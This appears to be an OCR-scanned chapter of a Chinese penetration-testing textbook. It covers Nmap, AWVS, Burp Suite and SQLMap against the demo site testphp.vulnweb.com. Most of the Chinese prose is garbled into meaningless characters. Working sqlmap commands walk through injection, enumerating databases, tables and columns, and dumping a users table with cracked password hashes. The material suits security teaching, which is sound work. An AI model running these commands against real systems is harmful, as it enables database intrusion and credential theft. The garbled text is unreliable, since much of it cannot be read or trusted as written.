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Kali #24E RGN C LHLF Nmap A, RBAEN AL LD TR,

1. Nmap E RRIFHESEBIFNI K IR

Nmap # WAL 4-1 Ui/, Nmap 5 WWHETTUIE 4-2 Pis.

F4-1 Nmap ERIHEER
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—sT TCP 131 S5BRENEL TCPiERE, ZHARNSB RIT

—sP Ping %8 B ICMP iR SCRIXHITENL I

—sA ACK 13#8 @l B AR LIS O FFRUR S

—sW TCP B 1 RST A9 TCP B OME, HULHIETROR ST

—sM Maimon 33 RIMIRIZZ FIN/ACK, FTiCimOAFROIAR KA, BB RST RS

47



45

2k
3] B IhaEER
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—sN/sF/sX TPC Null/FIN/Xmas $31# {&£F8 TCP Null/FIN/Xmas ME 175 D BNIRMIITS TCP Ui VRZS
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=S Dbl RRIERIR 1P itk
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-p i I A HimigEineE
oD ~—script B34 BRI R OB AT

2. Nmap EARAHEH
1) BEAHH
(1) iXJ& Nmap FJERIAFIH T2,

nmap 192.168.1.102

PGSR AE 4-1 P,

Nmap SEiJl|

Nmap done:

4-1 Nmap EFHEER

(2) HZA Horsthl, wf ARSI M 897730, % 2 Mtk BT

nmap 192.168.1.102 192.168.1.103




(3) FA—ELER M BL, ATLFIHT =7 f7 5%,
nmap 192.168.1.100—150

(4) FMESHFR I TR BARHbE . AESCPEA O ip.txt, PAUNIE 4-2 iR,

4-2 iptxt IS 3
T RLHE —iL 25 SIS I
nmap —iL /home/carl/ip.txt

ZEBANE 4-3 s,

49

http
upnp
: 14:E6:EAT4BICT:

El 4-3 BIANXHRAEER
2) HAxENL C Beit

nmap —sn 192.168.1.0/24

ZITIE AT AR E EALBCN T A AAIE 0 0L, 45 NIE 4—4 i

nan.org ) at 2 D4-04 17:40 CST
15

(Tp-link Technolog
1.102

(Unknown)
1.104

Host up
Nmap done: 5 IP addr (3 hosts up) scanned in 1.95

E 4-4 FEH c RAMWMER
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T I RERE A R EAUIT O e 1, e —p 45 B LS IO, s D AR A

K 4—5 s
Ea-5 HOFBER
BRItz 4b, Nmap B80T LB IS —p 2800 “,” B =48 & .
witn, FREEAA LAY 21, 22, 80, 443, 445 v &I
nmap 192.168.1.102 —p 21, 22, 80, 443, 445
4) RGHAR
nmap —0O 192.168.1.102
50

2T RENS A 48 ORI F AR EHLEEHTARAE RGEAS, 45 RN 4-6 i

El4-6 RHEFAMWER
5) MR35 hAS 4
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VOTE SRSV F2HEDL, AR REA , 45 F K 4-8 P,
ethios-ssn
JAP API 16.1
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(1) default: ffifH —sC 5 —A BEIFFAFENA A, SRAEA A FHRE T .

(2) auth: ATAILEAGES (ZEIFLERD) HIIA

(3) brute: FFxFH WA N & AEEE B f# )=, W HTTP, SNMP (fij FR 285 B 45

(4) broadcast : 7F a8 N R4 BE Z IRk 55 19T ARGL, 41 DHCP (3528 EHLACE P ). DNS,
SQL Server ZIlR% .

(5) vuln: iR HR EHLE A H DAY

(6) smb-brute.nse: 5% HAR EHLIFEAT smb Ak 55 B

—. AWVS H3zifk Web %4l T.H

Acunetix Web Vulnerability Scanner (fij# AWVS) J&— 3k Web X 4% g il 14 T 2. il il
Do 2 € i U5 I 3l 7 2 AR O, R A T A e Al o B I b AT A 2 R AR AR 14 K
JA .

1. AWVS IhgEtS =

AWVS 455 LUT Z R 808 DI fE o

(1) AcuSensor i AK

(2) A& P A M a8, RF%F AJAX (asynchronous JavaScript and XML, 4
JavaScript Fil XML) il Web 2.0 i A2 474 e PRt .

(3) Jeidt HIE AR SQL VA FILES i A I 3

52 (4) FZBHEMKX T H, 4 HTTP Editor Al HTTP Fuzzer.

(5) ATAALZ I Sk 3 B T P 2 it Web A% 132 25 A DR 47 (1) IX 8k

(6) ZFF%A capthca UL, SZHFEANIFIRTE S FI Two—factor (AUHA ) FiEHLH .

(7) FEBHREINEE, AIF VISA PCIARM PR

(8) R Z ARG R T 70 .

(9) FRENCTTREF R Web IR 55 a5 2B RN AR T IE 5 S

(10) Acunetix K& I 47 v, (145 flash WA, SOAP (fi] X R U5 A UM0) FI AJAX i
F, F14 Web IR 55 @5 X TE R 55 4 I AT 48 i 55 A7 A R o

2. BEAIE

(1) DA acunetix_13.0 K il T 2% Windows iR A< I X7 4T HF acunetix_13.0 L3 Al f5, i
“Next” #ZHH.

(2) AJ3% “Iaccept the agreement” ZiEHESS, PAd; “Next” #7#l.

(3) 7£ “Email” “ Password” #1 “ Confirm password” V5 HRFH A% (WK 4-9, %5
BOREER/ING TR/ BOFEMRRTAY) J5, By “ Next” #%4l. 0D By BRF ey, 52k
R AR e

(4) 7 “ Server Port” %8 HE N Hi A 75 B & 1o H 5, BRINIHE 3443, WJo 7 & ko W) 5 s
“Next” %1, &l 4-10 P,

(5) /A]i% “Create a desktop shortcut” ZHEHE, Hiidi “Next” %4l

(6) LRATMF S5 1, 4 CAUET, Wd &7 HH, WK 4-11 fros.



(7) 4edEs5gbe My “Finish” F40, K 4-12 Fion.

™ Setup - Acunetix —

Administrative User
Set administrative user

enter login information here.

To access Acunetix scanning interface you need an administrative user account. Please

X ™ Setup - Acunetix = X
Server information
Customize how Acunetix will be accessible
Acunetix Server URL

https://localhost:3443
Server Port

Email %
[

Password

| b

[] Allow remote access to Acunetix

o
\ o

Confirm password

Cancel [ <pak [ wex> || concel

4-9 HERBFEFIZERI

ZeEE

{FENSA— RIS P S HSHE BRI (CA) S B:

Acunetix WVS Root Authority (NXRyo)

Windows oIS 2SMSERE"Acunetix WVS Root Authority
(NXRyo)", #REZS Acunetix WVS Root Authority (NXRyo) BEE, LI#A

R, TASFSERERTRER:
852 (sha1): FD3B3DB1 48741FDD 5F9391F0 52006F96 E32705B2

==

(SR HIS?

=5
SRTIRMARIES, Windows SESEAEIESRAT RIS,
FEARSIESWAGESERERE, MReE R, USTERETRE,

4-10 AwWVS ¥MIFiwOigE

) Setup - Acunetix

Completing the Acunetix Setup
Wizard

Setup has finished installing Acunetix on your computer. The
application may be launched by selecting the installed
shortcuts.

Click Finish to exit Setup.

4-11 CAIFPZRE

4-12 RESER

(8) FTHF YT RS, 76 YT 25 Hu bk 22 %5 A https://localhost:3443/#/login J&, #% Enter 5, 0]

4-13 Fi7R .

(9) FARIAHE QIEF A E, i “Login” &4, JEA AWVS #AE5 1, MK 4-14

Fi7

M acunetix WEB APPLICATION SECURITY

Sign In

|:| Keep me signed in

N Copyright ©2022 Acunetix Ltd.

www.acunetix.com

4-13 AWVS HFEHME

Bl & roree « BB —
<« C O hupsstocalnost: Aoab s = @ L ul) -
M acunetix Admiistrator + 1

= No Targets Found: Add  Target.

@  Dashboard

00 boe P ®DEN

4-14 AWVSIE(ERME
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3. AWVS KEIfgE

1) g

FRHAE 5 M, 4358 Dashboard . Targets. Vulnerabilities, Scans il Reports.

(1) Dashboard: X%, B FH8 10 Wk il Tea (5 8

(2) Targets: HARPILY, F5 Lg% 5k

(3) Vulnerabilities: il , s FrA7 sl d4 Hi ok 59 R0 Ui i

(4) Scans: F4 HAruk &, M Targets HLATERE H bk s 17148 .

(5) Reports: il 434 56 BUm A= B

2) WEFER

B SEAIE 8 MR, 4354 Users. Scan Types. Network Scanner. Issue Trackers, Email
Settings . Engines. Excluded Hours. Proxy Settings.

(1) Users: 0BG, Brig o BB . 1P 6 s ol e B

(2) Scan Types: AR T A BEE 244 . w2 WU il . 325 3k A AT . SQL 42 AT
S50 . UK | SRR T

(3) Network Scanner: MZE{L, BCE MZER, Wffak . P4, B, mo . Bl
(4) Issue Trackers : [A[IEREEAS, TIECHE [MJBERESE- 5, 40 github, gitlab, JIRA (Wi H 53
SIRER T H) 45,

(5) Email Settings: Bo &R A5 B .

(6) Engines: 518244, MBR. 2B E

LIS

Awvs TEsLi)l|

(7) Excluded Hours: F4fiff [ B, AI B EAESS PRI R34

(8) Proxy Settings: BEEACHIARS #5715 B .

4. FAfEEE

(1) Bl ZEMSEEARE “Targets” — “Add Target”, Al Address (313 i)
H1 Description (#5{F) Hi AHE, Address ZbHE “ testphp.vulnweb.com”, Description
AEE “testphp”, MG SERESS iy “Save” %4, ANl 4-15 PR

M acunetix

)
®

)

Dashboard
Targets

Add Target
Add Targets
Target Groups
Vulnerabilities
Scans

Reports

v

Add Target Cancel

[ Network Scans only

Address Description

testphp.vulnweb.com testphp

4a-15 BIEFRE

(2) Hafy “Save” ¥eHl)m, PEATHHMASCEIE, WK 4-16 Fis.



M acunetix

Administrator P

Il

testphp.vulnweb.com

Dashboard

@
©  Targets v

Target Information

Description

Add Target testphp
Add Targets
Business Citcalty
Target Groups Normal o
F  Vulnerabilities
® Scans Scan Speed
. Report: 10 Concurrent Requests
0ms Request Delay
&% Users >
° 9
@ scanTypes
Slower Slow Moderate Fast
@  Network Scanner
@ 1ssue Track Site Login »
0 Email Settings
B cngines AcuSensor L )
@©  Excluded Hours AcuSensor allows the scanner to gather more information from your PHP, .NET, @ acusensor
or Java web applications, resulting in improved scan results and reduced false
& Proxy Settings positives. Download and install AcuSensor for this Target before running the

web scan.

El4-16 HWIRE

T TR I T R B AR R A T U

(D Business Criticality : & & 1425, 4 Low (fit). Normal (1E% ). High (#), Critical

™4%) DUASG, BRINTE & Normal,

2 Scan Speed: B EFIHEE, A Slower (EH12). Slow (12). Moderate (2212 ), Fast (fR)

PO, BRI LR Fast.,

(3 Site Login : T EE M FEERD , 38 H 7R S50 0l B I 2 B8 SR 3R B, Tl i B

i
@ HTTP: HTTP WM 5 E .

1, AWVS TEfA i B il 208 e B, 22l fl PSS BTk = A 58 5%

® Advanced: EETBEE, W LIX'E Cookies %5,

WERTHME L, iEHdg “Scan” &4

(3) HE A R A5 i 5 & w4
Kl 4-17 FioR

N HZ S AT

@ Scan Type: W EAMIM, —REEF Full
Scan (4TI .

@ Report: 13 & i 54 H 27

@ Schedule: WEEMHEHM, —BELE Instant
(37B1) .

(4) PEFELFJ Bl © Create Scan” 24, I
I oskit 2 “Scan” Ay, & 4-18 Fion.

Choose Scanning Options

Scan Type

Full Scan ¥
Report

None >
Schedule

Instant A

4-17 PAEERERRSEHIRE
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M acunetix Administrator v P

= ®) Scan W StopScan 11 Pause Scan B GenerateReport ~ B WAF Export v
/)
(@  Dashboard Scan Information Vulnerabilities Site Structure Events
©  Targets >
o In Progress
H  Vulnerabilities . Activity
Acunetix Threat Level 3
(N ® scans One or more high-severity type vulnerabilities have been discovered by Overall Progress 50%
1z the scanner. Amalicious user can exploit these vulnerabilities and
= B rReports compromise the backend database and/or deface your website. @ scanning of testphp.vulnweb.com started Apr4,2022,9:31:42 PM
175
3 @ Windows Defender used in this scan Apra4,2022,9:31:42 PM
) J Users > @ Acusensor used for this scan Apr4,2022,9:31:56 PM
pir
lit Scan Types
Network Scanner = . :
Scan Duration Requests Average Response Time Locations

Issue Trackers 0m 30s 940 205ms 24

Email Settings

Engines Target Information Latest Alerts oooo

bow b ®DH )

Excluded Hours pdiess testphpnlniweb.co 2F Email address found Aprd,2022,9:32:07 PM
Server nginx/1.19.0
: 2 PHP allow_url_fopen enabled Apr4,2022,9:32:06 PM
CI— Operating System Unknown
Identified Technologies PHP £ PHP errors enabled Apr4,2022,9:32:06 PM
o Responsive Yes a User credentials are sent in clear text Apr 4, 2022, 9:32:06 PM
About
2 Password type input with auto-complete enabled Apr4,2022,9:32:06 PM
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& SQinection http://testphp.vulnweb.com/searc 2
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my / Plugin #62694 Configure  Audit Trail

< Back to Vulnerabilities

Hosts | 1 Vulnerabilities 25 History | 1

[ITE0 Internet Key Exchange (IKE) Aggressive Mode with Pre-Shared Key >

Description
The remote Internet Key Exchange (IKE) version 1 service seems to support Aggressive Mode with Pre-Shared key (PSK) authentication. Such a configuration
could allow an attacker to capture and crack the PSK of a VPN gateway and gain unauthorized access to private networks.

Solution

- Disable Aggressive Mode if supported.

- Do not use Pre-Shared key for authentication if it's possible.

- If using Pre-Shared key cannot be avoided, use very strong keys.
- If possible, do not allow VPN connections from any IP addresses.

s

Note that this plugin does not run over IPv6.
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(3) 7F Firefox Hulib#2 % A “baidu.com” J54% Enter 5, Burp Suite ¥ F shMEBUE R A1, WA
4-50 JUr7n
l - BE—T, {fREtEhE X ‘ 7
« > X <) 2 & L B
70 | ra [ (. [ . HE | T

A hao123 1E  OHE - Burp Suite Professional v2.0.11beta - Temporary Project - licensed to By Jas502n

& [ Request to https: liwww baidu.com 443 [14.215.177.39]

i Params | Headers | Hex
(GET /HTTPH 1

Host: www baidu.com

User-Agent: Mozilla/S. ﬂ (V»hdowl NT100; VW!GQ x64 v 98 0) Secko&m 00101 Firefox/98.0

|Accept: text/htm, *Fq=08

|Accept-Language: zh-CN,zh;q=0 8,zh-TW;q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

|Accept-Encoding: gzip, deflate

Connection: close

Cookie: BAIDUID=F 3676995C BI744:FG=1; EXPSD-F 1 ; BD, LPN-13314752
(COOKIE_SESSION=! n_u_n_n_| 010000000201 19%230_0_1 1; BDRCVFRY] I 1xBUdYcs; BD_HOME= 1;
H_PS_PSSID=35839_36175_31660_34813_36088_36165_34584_361 42 36120 )_36125_36109_36235_26350_22159_36061, BA_HECTOR=ah8I20aga02hak2hif1h4oDadOr
Upgrade-Insecure-Requests: 1

|Sec-Fetch-Dest: document

|Sec-Fetch-Mode: navigate

|Sec-Fetch-Site: none

Sec-Fetch-User: 71

4-50 BEE#BERE

—. SQLMap HaiftiEA TH

SQLMap SE—N RSB EN T H, e DL E Shs il #R] ] SQL ‘?i/\ﬂﬁgﬁ?lﬂ#fﬁmﬁﬁﬁ?ﬂ&
o EHEAMRKMKM G, LARZIRE, AR R SOR M B e AR U |
lﬂﬁtﬁ%j(@?\f, PLRGE A ANESE, PR E R G E T a4 .

1. SQLMap &=

SQLMap i Python G A, HA UL,

(1) ZFMiGZfEdE %, 1 MySQL. Oracle, SQL Server 5%



(2) Bfed e S, ddaB, AsifiTidesE Tk,

(3) SCHFFRFRRITEA . BEAEA . M/RBVETE . WHBIE T MEEEA . BREAHEA
AR E AIEASF B ETEATT A

(4) HBBENIE, REBFIEIEFE 4 BIaRA, IHRIEE BN 02RO h Ak

LG/

(5) CHFHATAL R A2 I 10 i i o
Kali #21/E RS2 %W SQLMap #4:, TCTHEINESE . A Fm i 4-51 Pk,

[
[
[
11
[
[

[
] [INFO]
[INFO

[
it looks like the
for the remaining
Y/n] Y
1

string="1luther")
[ [
110
[
11
[
(I
[
1 [INFO]
' injectable

{1.3.4.44#dev}

heuristic (basic) test shows that GET parameter 'id’ might be injectable (possible DBMS: ‘MySQL®
heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) at

testing for SQL 1injection on er 'id
back-end DBMS is 'MySQL Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [

filte t

GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --

5 AND erro
S OR e
5 AND erro
5 0R e
8 AND ¢
OR e

© AND e

4-51 sQLMap B

2.5QLMap F ikl

SQLMap # HIEI 4N 4-3 Fir.

% 4-3 sqQlLMap EBi%IN

IR Ihge pEATE S
~u (Sl 98 saL IR
-p 24 RE sQL AEEEHISE, IARE, BANMIE EE S
——batch ERBIAR B EARRBMRIANES, A NBEAFHA
——data POST 2HIRE RE sQL bl POST ¥

71



IR [RIIVS

HEIR Ih&e EEIR A
——cookie cookie I8 & WEIEKRLM Cookie FE
-r EREUE R RIEIEREY 5 I S ATIE RSk
——current—db REER SR IRE S BUEUR RIS R
——tables IREEIER SR IREN L BIEIRERABTR
——columns REHIEERFTRE KL HIERFI BN FRE
——dump IRENR PR BIBIECHIERTNEE, RED csv 8
-D REHIEES B8 saL A BRI E
-7 REHIEERS RE saL IR EHIER
-C BEFRE IRE sl FMEIEEHIERTNFRE
——level RNER IRE sQlMap FURNER, —HZ2 1 ~ 5%, BiAER1
——risk RO B RE sQlMap FOIRMIXE:, —H2 1~ 3%, BAMER1

3. 34 testphp Rk
1) FHRIEAR
I
FP7R .

72 2) P

salMap TEL|

e 4-53 Fis .

| M acunetix EeRAR-Rg]

M acui

SQL — M AE vl iy A G EATEEA, B al LUE S 4k — b A S, &l 4-52

AL, BT % IE SR A0 )& POST iR . iR Mk, DA K& Z (N searchFor,

£/ MOHUTSL LU 1R MGSLPTE. VU IWER.GUILOU |45 .£40.£%3.3]

JL_ow | [iwercstison) [ actn |

[ Forward

TEST and Demony

Params | Headers | Hex |

home | categori

POST isearch phpPtest=query HTTPA .1
Host: testphp.vulnweb.com

search art

ST 5

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firef
Accept: textit ionixhtmi+xmi ionhmil g=0.9i if imag: P
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3,en;q=0.2

Browse categﬂi
Browse artists

Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

gin php

TEST and Demonstration site for Acunetix Web Vulnerability Your cart Ovigrr [iip Ansiphp vUmweb con
Signup Connection: close
home | categories | artists | disclaimer | your cart | guestbc Referer: http: php vulnweb
2 o ‘ L 9 T Your profile |eookie: td_cookie=2278724963
search art ‘ If you are already registered please ent¢ Our guestbook |Upgrade-Insecure-Requests: 1
| AJAX Demo | m,,,l, e
Browse categories =~ Usemname: Links

4-52 ZRBGEANTTE
3) fT SQLMap A #EF 5 H

(1) MZTEARIELT SQL AZbIEA, $dTr2

4-53 FRENERSH

sqlmap —u "http://testphp.vulnweb.com/search.php?test=query" ——data "searchFor=1" —batch

PR E 4-54 pros .



[!] legal disclaimer: gets without prior mutual consent is il

y all applicable local, state and federal laws. Develop me no liability and are not res Hﬁ
program Ea
[*] starting @ 18
i
4-54 {5 sQLMap HIATHE g
4+
N2z P VI 4H Y N N N _—
(2) MABFTSEER , WAL ATELE SQL TEANR, Il 4-55 Fir. E
A
i
ik
blind
5.0.12 AND time-based blind (query SLEEP)
query (NULL) - 3 columns
UNTON ALL SELECT NULL,CONCAT(@x716 6
67241434c6b57614a7975684565457a75724858,0x7171706b71) ,NULL#
the back-end DBMS is MySQL
web serve
web appl nology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQ 5.0.12
logged to text files under ' Ly L
Lnweb.com' 73

] your sqlmap version is outdated

4-55 SQLMap LR

4 ) MBI EH
T A SR 4, PATIIAR A%

sqlmap —u "http://testphp.vulnweb.com/search.php?test=query" ——data "searchFor=1" ——batch —dbs

IR B 22 4% an 1l 4-56 FITR o

back-end DBMS: MySQL = 5.0.12

[18:32:00] [ )] fetching database names
available databases [21:

[*] acuart

[*] information_schema

[18:32:00]

[INFO] fetched data logged to text files
[ ] your sqlmap version is outdated

4-56 SQLMap SREREIEER

5) RIEHE S
AT, ZRH acuart Bl N TR EHE RS, PATIIAR AR

sqlmap —u "http://testphp.vulnweb.com/search.php?test=query" ——data "searchfor=1" ——batch —D "acuart" —
tables



IRUL R 2 44 tn el 4-57 iR .
6) KW users £rh 7B
T A, FRBUEIER users I F B4, T4

sqlmap —u "http://testphp.vulnweb.com/search.php?test=query" ——data "searchfor=1" ——batch —D "acuart"
q p P php php query

—T "users" —columns

IREAY 7B 24 WK 4-58 Pz .

[ ] fetching tables

. acuart

Column Type

address mediumtext

cart varchar(100)
cc varchar(100)
email varchar(100)
name varchar(100)
pass varchar(100)
phone varchar(100)

uname varchar(100)
] fetched data lo

4-57 3¥REY acuart FUBEPRIHIEERS 4-58 ¥KBY users EHIFERS

7) S users Erh A REGE
Bt users RH A B SN esv X, PUTaS

74
sqlmap —u "http://testphp.vulnweb.com/search.php?test=query" ——data "searchfor=1" ——batch —D "acuart"

=T "users" ——dump

S SCPERTE H SN TE 4-59 Fis .

om dump acuart

r table 'users' in database 'a

)r table 'users' in database 'a

:» password hashes in column 'ca

orary file for eventual further processing with other tools [y/N] N
onary-based attack? [Y/n/q] Y

md5_generic_passwd'

users.csv

re/sqlmap/data/txt/wordlist.tx_' (press Enter)
'S
onary

Iffixes? (slow!) [y/N] N
-based cracking (md5_generic_passwd)

s
clear password(s) found

Database: acuart
Table: users

[1 entry]
e — e ———
[¥ec | cart ELT | pass | email | phone | uname | address
R R R S S ————
| 1234-5678-2300-9000 | 62917c40840caf8d23ca9dch397e63c6 | testing | test | wapiti202l@mailinator.com | 2323345 | test | Hi there!

110 ] table 'acuart.users' dumped to CSV file|'/home/carl/.loca qlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
110 ] fetched data logged to text files under '/home/carl/.local/sh qlmap/output/testphp.vulnweb.com’
] ARNING] your sqlmap version is outdated

4-59 SHNHEHFRERS
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1. X—Frame—Options KB &
Ul 8 I AN &1 460 Jir7s .

Web Server

Alert group I Clickjacking: X-Frame-Options header missin |

Severity Low
Clickjacking (User Interface redress attack, Ul redress attack, Ul
redressing) is a malicious technique of tricking a Web user into
clicking on something different from what the user perceives they
are clicking on, thus potentially revealing confidential information
or taking control of their computer while clicking on seemingly
innocuous web pages.

Description

The server didn't return an X-Frame-Options header which means
that this website could be at risk of a clickjacking attack. The X-
Frame-Options HTTP response header can be used to indicate
whether or not a browser should be allowed to render a page
inside a frame or iframe. Sites can use this to avoid clickjacking
attacks, by ensuring that their content is not embedded into other
sites.

Configure your web server to include an X-Frame-Options header
and a CSP header with frame-ancestors directive. Consult Web
references for more information about the possible values for this
header.

Recommendations

Alert variants

Details
GET / HTTP/1.1

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
Accept-Encoding: gzip, deflate
Host: testphp. vulnweb. com

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHIML, like
Gecko) Chrome/73.0.3683. 103 Safari/537. 36

4-60 TFfE X—Frame—Options ifHiE

1) ik

s (ClickJacking) J&2—Floe a9 Hce Bt . Modh 265 B Y iframe 7 55 76 () 01 -
SRIG A P AE W 00 E RT3, R P R AR AN S A I8 B0 T a5 W1 Y iframe DUTE . 47
iframe DUIAIALE, AT LA P A AF G 1E iframe DU — S D BRI T .

HTTP i 7 k{5 B H 1Y X—Frame—Options A LS 7R W BE 48 & A NIZ N #K—A> iframe DU . Ul
%Hlﬁ%%ﬁﬂ@ﬂj%ﬁuﬂj&ﬁ X—Frame—Options, W% Ml f77E ClickJacking Jii KU o W3 Al L

11 1% B X—Frame—Options BH 1E 35 & PN A% 0 TR HA st TR A, TR 1B s T B0 4F

2) Wk siik

A F i TR R B 0L, 3R i e IR B O 2k IR R £ A R S A7 X—Frame—
Options FBt, MM ANEEIXTE, WHIEMIZIRIRALE, WK 4-61 P,
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P L T

[ rowerd || oo | [(rcepisen] acwen |

GET /HTTPA 1

Host: testphp.vuinweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: texth ation/xhtmi+xmi ionhxml;g=0.9 image/avif image/webp *;,q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK;g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: td_cookie=2278724963

Upgrade-Insecure-Requests: 1

4-61 miRNGR ¥

2. HttpOnly KiIZE

T e B AN & 4—62 Fif7s .

1) T4

fdi i HttpOnly Fr 55 B Cookie B, B£8R %

% Cookie HAE Ik 55 A Ui m), 1A GE
2 7 v A T In) o o2 W) A0 B8 1% B HitpOnly J& M, W% 5 i vl LU i JavaScript AR 35 1)
Cookie, i XSS T 19 77 2055 BUE P i Y Cookie, 52067 & A FH LG B AR A U s i
1708 T4 0 67 I P AR A4 o

2) k)i

A F A T ANZ R R B AL E S E i U I 09 7 =X O IICEC I N 4D Ay Set—Cookie - B
HttpOnly FBURRAAAE, AAFAAE, WIEBNZIRIAATE, WA 4-63 Fis.

76

Web Server |
Alert group ] Cookie(s) without HttpOnly flag set (verified) ]
Severity Low
This cookie does not have the HttpOnly flag set. When a cookie is
e set with the HttpOnly flag, it instructs the browser that the cookie
Description

can only be accessed by the server and not by client-side scripts.

This is an important security protection for session cookies.
Recommendations If possible, you should set the HttpOnly flag for this cookie.

Alert variants

E T s
betails Set-Cookie: login=deleted; expires=Thu, 01-Jan-1970 00:00:01 Wl v a8
SMTIMaR-AGa=0 P » GET http://testphp.vulnweb.com/logout.php
GET /logout.php HITP/1.1
W& 200 OK (D
Acunetix-Aspect: enabled
A HTTP/1.1
Acunetix-Aspect-Password: 082119£75623ebTabd7bf357698f f66c 2] 5KB (K/\4.72 KB)
Referrer 588 strict-origin-when-cross-origin
Acunetix-Aspect-Queries: aspectalerts
v REL (204 %5) =7
Referer: http://testphp. vulnweb. com/ (@ Connection: close
Accept: text/htnl, application/xhtml+xml, application/xml;q=0. 9, */*;q=0.8 @ Content-Length: 4830
@ Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate (3 Date: Tue, 05 Apr 2022 13:17:15 GMT
@ Server: nginx/1.19.0
HESEE) ESTpHETITE D 60 @[ Set-Cookie: login=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT: Max-Age=0
User-Agent: Nozilla/5.0 (Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 (KHTUL, like XPGRERY: PHEFSGA035HIbnti20 0411+ 4Eh STy oig 1
Gecka) Chroma/73 0 3RR2 102 Safari/A37 26 - =PI R0 =T Sl

[El 4-62 {F1E HttpOnly iFiE
o W G TR 96

1. htaccess X4 aJisE
TmilA AR an il 4—64 i .

[E 4-63 BZE Set—Cookie FE}



1) dilS T4

htaccess 32 Apache R 5% NI — D ECE XM, FEATTHCHZE TR TECE, EFE—
AMRRRE I SCRS H Sk ilcE — M S — BTS2 1 SRR T R A T

et Won iz H AL — A AT 1Y htaceess SO, 3X A BB R 7 IRk 55 4 IC & 48 1% o htaccess 3C
1 Web IR 55 25 ff AT, N0 B4R . SCPFR] e & BUBME B, AT LA Bh o 3 AT i — 20 1
Uit o

2) Bk )iik

TEW YT A A htaccess SCIFFRTERIALE, AREEFBCT £, WCKIZWIAFETE, WK 4-65
Fs

/Mod_Rewrite Shop/

Alert group .htaccess file readable (verified)

This directory contains an .htaccess file that is readable. This may
indicate a server misconfiguration. htaccess files are designed to
be parsed by web server and should not be directly accessible.
These files could contain sensitive information that could help an
attacker to conduct further attacks. It's recommended to restrict
access to this file.

Description

Restrict access to the .htaccess file by adjusting the web server

Recommendations < :
configuration.

Alert variants

Details

GET /Mod_Rewrite Shop/.htaccess HTTP/1.1

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0. 8

q\ testphp.vulnweb.com/Mod Rewrite Shop/.htaccess l

Accept-Encoding: gzip, deflate
Berm Oswsisge DRExe O FHER
Host: testphp. vulnweb. com

)
User—Agent: Mozilla/5.0 (Windows NT 10.0: Win64:; x64) AppleWebKit/537.36 (KHTML, like cuad ri

Gecko) Chrome/73.0.3683. 103 Safari/537. 36

Acunetix Web Vulnerability Scanner
Connection: Keep-alive disclaimer | your cart | guestbook | AJAX Demo

ome to our page

4-64 TF1E htaccess M miZiFEE 4-65 htaccess O] &

2. BRI FRE
Tl U I a1 4-66 FTw .

/wvstests/

Alert group IDirectory listing (verified) |

Severity

The web server is configured to display the list of files contained in
this directory. This is not recommended because the directory may
contain files that are not normally exposed through links on the
web site.

Description

You should make sure the directory does not contain sensitive
Recommendations information or you may want to restrict directory listings from the
web server configuration.
Alert variants

Pattern found:

Ut <title>Index of /wvstests/</title>

leeT /wvstests/ mrTe/1.1 |

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */#;q=0.8
Accept—Encoding: gzip, deflate
Host: testphp. vulnweb. com

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683. 103 Safari/537. 36

Cannartinn: Kean—aliva

4-66 FEBFRIERR
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SIETTS

1) WA

1T~ Web JlIik 55 i B AH DG IC S 35OH] 7 mT LA SE A 30 B85 45 77 10 il 55 1 SR80 R I i T ¢ N\ B
B Y H 5% o

2) ik )it

PG AL A A B, FE YE 28 b A2 A S B 42, g s B Sk, WRERZ IR AE4E,
K 4—67 FIi7s .

= =0 (G ) ﬂ testphp.vulnweb.com/wystests/ I

L ] - N . [ | B

Index of /wvstests

./
pmwiki 2 1 19/ 08-Apr-2013 08:44

Ela-67 ERSIFRAIES
= B WL S el 4k

1.saLiFEAN
Tl LB anfEl 4—68 PR .

/Mod_Rewrite_Shop/D
etails/color-printer/3/

Alert group I SQL injection (verified) |

Severity

SQL injection (SQLi) refers to an injection attack wherein an
Description attacker can execute malicious SQL statements that control a web
application's database server.

Use parameterized queries when dealing with SQL queries that
contains user input. Parameterized queries allows the database to
understand which parts of the SQL query should be considered as
user input, therefore solving SQL injection.

Recommendations

Alert variants

Details URI and/or header was set to 1\".

GET| /Mod_Rewrite_Shop/Details/color—printer/3/?id=1ACUSTART” “ACUEND HTTP/1. 1

Actunetix—Aspect: enabled
Acunetix—Aspect—Password: 082119f75623eb7abd7bf357698ff66¢c

Actinetix—Aspect—Queries: filelist;aspectalerts

4-68 TF1E saQL;ENIFER

1) il e
SQL VEAJEFE Web [ HI 2 P xif F = i A KScds (9 5 2 PR 34 I sl ol A ™, Xoads 25l LA
Web I FHAR 7 P S5 508 U 920 001 A B0 25 R U I s 19 SQL iH AT, A6 48 BB AN IR A B T

THARE SRR, LA R I B K00k 128 i 55 5 AT AE SR A A0, DA — 2545 A0 L 14 25 Bl
=K

FilL‘.J\O



2) Wik
MR U7 1) 2 258 1] 0 ik, S22l PR A5 T A s [ 3y, 2t B A 50, DR B % s
A, WK 4-69 s,

« > C O 8 testphp.vuInweb.com/ModiRewrite}hcp/Details/color—printer/}l?id=232432424' # I B O
